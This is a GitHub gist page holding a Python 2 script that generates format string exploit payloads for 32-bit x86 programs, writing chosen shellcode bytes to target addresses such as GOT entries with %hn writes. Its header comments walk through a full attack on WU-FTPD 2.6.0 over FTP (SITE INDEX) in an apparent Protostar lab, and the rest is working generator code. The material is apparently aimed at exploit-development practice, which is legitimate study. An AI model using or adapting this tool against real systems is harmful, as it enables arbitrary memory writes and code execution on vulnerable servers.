Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active May 17, 2025 05:06
Show Gist options
  • Save mgeeky/3c983e89f8988812ed78d1d5597ad728 to your computer and use it in GitHub Desktop.
Save mgeeky/3c983e89f8988812ed78d1d5597ad728 to your computer and use it in GitHub Desktop.
Format String vulnerability input generator to be used during exploit development stage at constructing stable x86 (32bit) input vectors.
#!/usr/bin/python
#
# Script intended to aid exploit-development process, while attacking
# format string vulnerabilities. This script attempts to generate a
# stable format string to supply to vulnerable program, that would overwrite
# specified address with specified shellcode. Generating such format string
# by hand is a tedious task therefore this script shall make it easier.
# Technical info:
# - x86/32bit only, albeit it's easy to extend it to support 64bit (todo..)
# - writing using shorts (%hn), that is two-bytes at a row
#
# Scripted by Mariusz B., 2016
#
#
# For instance, to attack WU-FTPD 2.6.0 on Linux protostart (2.6.32-5-686) one
# can invoke this script as follows:
#
# ./gen_format_string.py 0x0806c278 23 $'\x7c\xc2\x06\x08\x6a\x12\x59[...]\x77\x64\x38' -n 6
# [?] x86/32bit Format string generator
# [>] Address to overwrite: 0806c278
# [>] Argument assured to point at user-supplied buffer: 23
# [>] Shellcode size to write: 98
# [>] Starting offset: 6
#
# [?] Added 49 address references.
# [?] Prepared 49 addresses to be used while arbitrary write (98 bytes)
#
# [?] Added 49 shorts overwrites
# Resulted format string to use:
#
# "\x78\xc2\x06\x08\x7a\xc2[...]\x06\x08%49586x%23$hn%17802x%24$hn%2660x%25$hn\
# %50927x[...]%33396x%70$hn%49258x%71$hn"
#
# Then use obtained format string in vulnerable vector:
#
# $ telnet 192.168.56.100 21
# Trying 192.168.56.100...
# Connected to 192.168.56.100.
# Escape character is '^]'.
# 220 protostar FTP server (Version wu-2.6.0(1) Thu Nov 17 14:23:41 EST 2016) ready.
# USER user
# 331 Password required for user.
# PASS user
# 230 User user logged in.
# SITE INDEX \x78\xc2\x06\x08\x7a\xc2[...]\x06\x08%49586x[...]%70$hn%49258x%71$hn
#
# Yet another usage. Scenario - we want to overwrite two DWORDs at specified addresses with some specific values:
#
# ./gen_format_string.py 0xbffff50c,0xbffff514 14 $'\x90\x31\xe6\xb7' $'\x24\x3a\xf8\xb7' -n 1
#
# .:: x86/32bit Format string generator ::.
# coded by mgeeky, 2016, v0.3a
#
# [>] Addresses to overwrite: ['0xbffff50c', '0xbffff514']
# (...)
# Resulted format string to use (116 bytes long / 0x74) padded in front with 1 dots to mimic offset:
#
# $'.\x0c\xf5\xff\xbf\x0e\xf5\xff\xbf\x14\xf5\xff\xbf\x16\xf5\xff\xbf%12671x%14$hn%34390x%15$hn%33342x%16$hn%32212x%17$hn'
#
import sys
VERSION='0.3a'
def usage():
sys.stderr.write('Usage: %s <address1,address2,...,addressN> <argnum> <shellcode1> <shellcode2> ... [-n offset]\n' % sys.argv[0])
sys.stderr.write('\nParameters:\n')
sys.stderr.write('\taddr - Address to overwrite using this Format String (e.g. GOT addr of symbol). May be repeated with comma (,) for multiple overwrites\n')
sys.stderr.write('\targnum - Number of user-supplied argument on stack as viewed by *printf function frame\n')
sys.stderr.write('\tshellcode - bytes to write at supplied `addr`. There has to be one shellcode parameter for each address\n')
sys.stderr.write('\t-n offset - (optional) Number of bytes preceding user-controlled buffer, that is bytes to fill up before sequence\n')
def here_comes_complex_tragic_options_parsing_function():
if len(sys.argv) < 4:
usage()
return False
addr = []
added_bytes = 0
argnum = 0
shellcodes = []
if ',' in sys.argv[1]:
addr = [int(x, 16) for x in sys.argv[1].split(',')]
if len(sys.argv) < (len(addr)+3):
sys.stderr.write('[!] Not enough shellcodes provided for %d address to overwrite.\n\n' % (len(addr)))
usage()
return False
pos = 0
for i in range(len(addr)):
pos = 3+i
if sys.argv[pos] == '-n':
sys.stderr.write('[!] Not enough shellcodes provided for %d address to overwrite.\n\n' % (len(addr)))
usage()
return False
shellcodes.append(sys.argv[pos])
pos += 1
if pos+1 <= len(sys.argv):
if sys.argv[pos] == '-n' and len(sys.argv) < pos+2:
sys.stderr.write('[!] Missing parameter for specified "-n" switch.\n\n')
usage()
return False
elif sys.argv[pos] == '-n' and len(sys.argv) >= pos+2:
added_bytes = int(sys.argv[pos+1])
else:
addr = [int(sys.argv[1], 16),]
shellcodes = [sys.argv[3],]
if len(sys.argv) != 6 :
added_bytes = 0
elif (len(sys.argv) == 6 and sys.argv[4] != '-n'):
sys.stderr.write('[!] Fatal error: Passed switch not recognized: "%s". Please specify optional offset followed by "-n".\n\n' % sys.argv[4])
usage()
return False
else:
added_bytes = int(sys.argv[4])
argnum = int(sys.argv[2])
return (addr, argnum, shellcodes, added_bytes)
def main():
sys.stderr.write('\n.:: x86/32bit Format string generator ::.')
sys.stderr.write('\n coded by mgeeky, 2016, v%s\n\n' % VERSION)
opts = here_comes_complex_tragic_options_parsing_function()
if not opts:
return False
(addr, argnum, shellcodes, added_bytes) = opts
bonce = False
for i in range(len(shellcodes)):
if len(shellcodes[i]) % 2 != 0 and not bonce:
bonce = True
sys.stderr.write('[!] Shellcode%d\'s length is not divisble by two, complementing with 0x90\n' % i)
shellcodes[i] += '\x90'
buff = ''
start_pos = added_bytes
ptr = addr
if len(addr) > 1:
sys.stderr.write('[>] Addresses to overwrite: %s\n' % str(["0x%08x" % x for x in addr]))
else:
sys.stderr.write('[>] Address to overwrite: %08x\n' % addr[0])
sys.stderr.write('[>] Argument assured to point at user-supplied buffer: %d\n' % argnum)
sys.stderr.write('[>] Total bytes to write: %d\n' % sum([len(x) for x in shellcodes]))
sys.stderr.write('[>] Starting offset: %d\n' % added_bytes)
n = 0
iters_total = 0
for j in range(len(addr)):
ptr = addr[j]
iters = len(shellcodes[j]) / 2
iters_total += iters
for i in range(iters):
addr_to_buf = [0, 0, 0, 0]
addr_to_buf[0] = ptr & 0xff
addr_to_buf[1] = (ptr & 0xff00) >> 8
addr_to_buf[2] = (ptr & 0xff0000) >> 16
addr_to_buf[3] = ptr >> 24
buff += '\\x%02x\\x%02x\\x%02x\\x%02x' % (
addr_to_buf[0],
addr_to_buf[1],
addr_to_buf[2],
addr_to_buf[3] )
n += 1
added_bytes += 4
ptr += 2
sys.stderr.write('\n[?] Added %d address references to %d addresses to overwrite.\n' % (n, len(addr)))
sys.stderr.write('[?] Prepared %d per-word addresses to be used while arbitrary write (%d bytes)\n' % \
(iters_total, iters_total * 2))
n = 0
for shellcode in shellcodes:
for i in range(0, len(shellcode), 2):
num_to_print = 0
val = shellcode[i:i+2]
valnum = ord(val[1]) * 256 + ord(val[0])
num_so_far_mod = added_bytes & 0xffff
if num_so_far_mod < valnum:
num_to_print = valnum - num_so_far_mod
elif num_so_far_mod > valnum:
num_to_print = 0x10000 - (num_so_far_mod - valnum)
added_bytes += num_to_print
if num_to_print > 0:
buff += '%%%dx' % num_to_print
buff += '%%%d$hn' % argnum
argnum += 1
n += 1
sys.stderr.write('\n[?] Added %d shorts overwrites\n' % n)
sys.stderr.write('Resulted format string to use (%d bytes long / 0x%x) %s:\n\n' % \
(len(buff), len(buff), '' if start_pos == 0 else 'padded in front with %d dots to mimic offset' % start_pos))
print "$'%s%s'" % ('.' * start_pos, buff)
return True
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment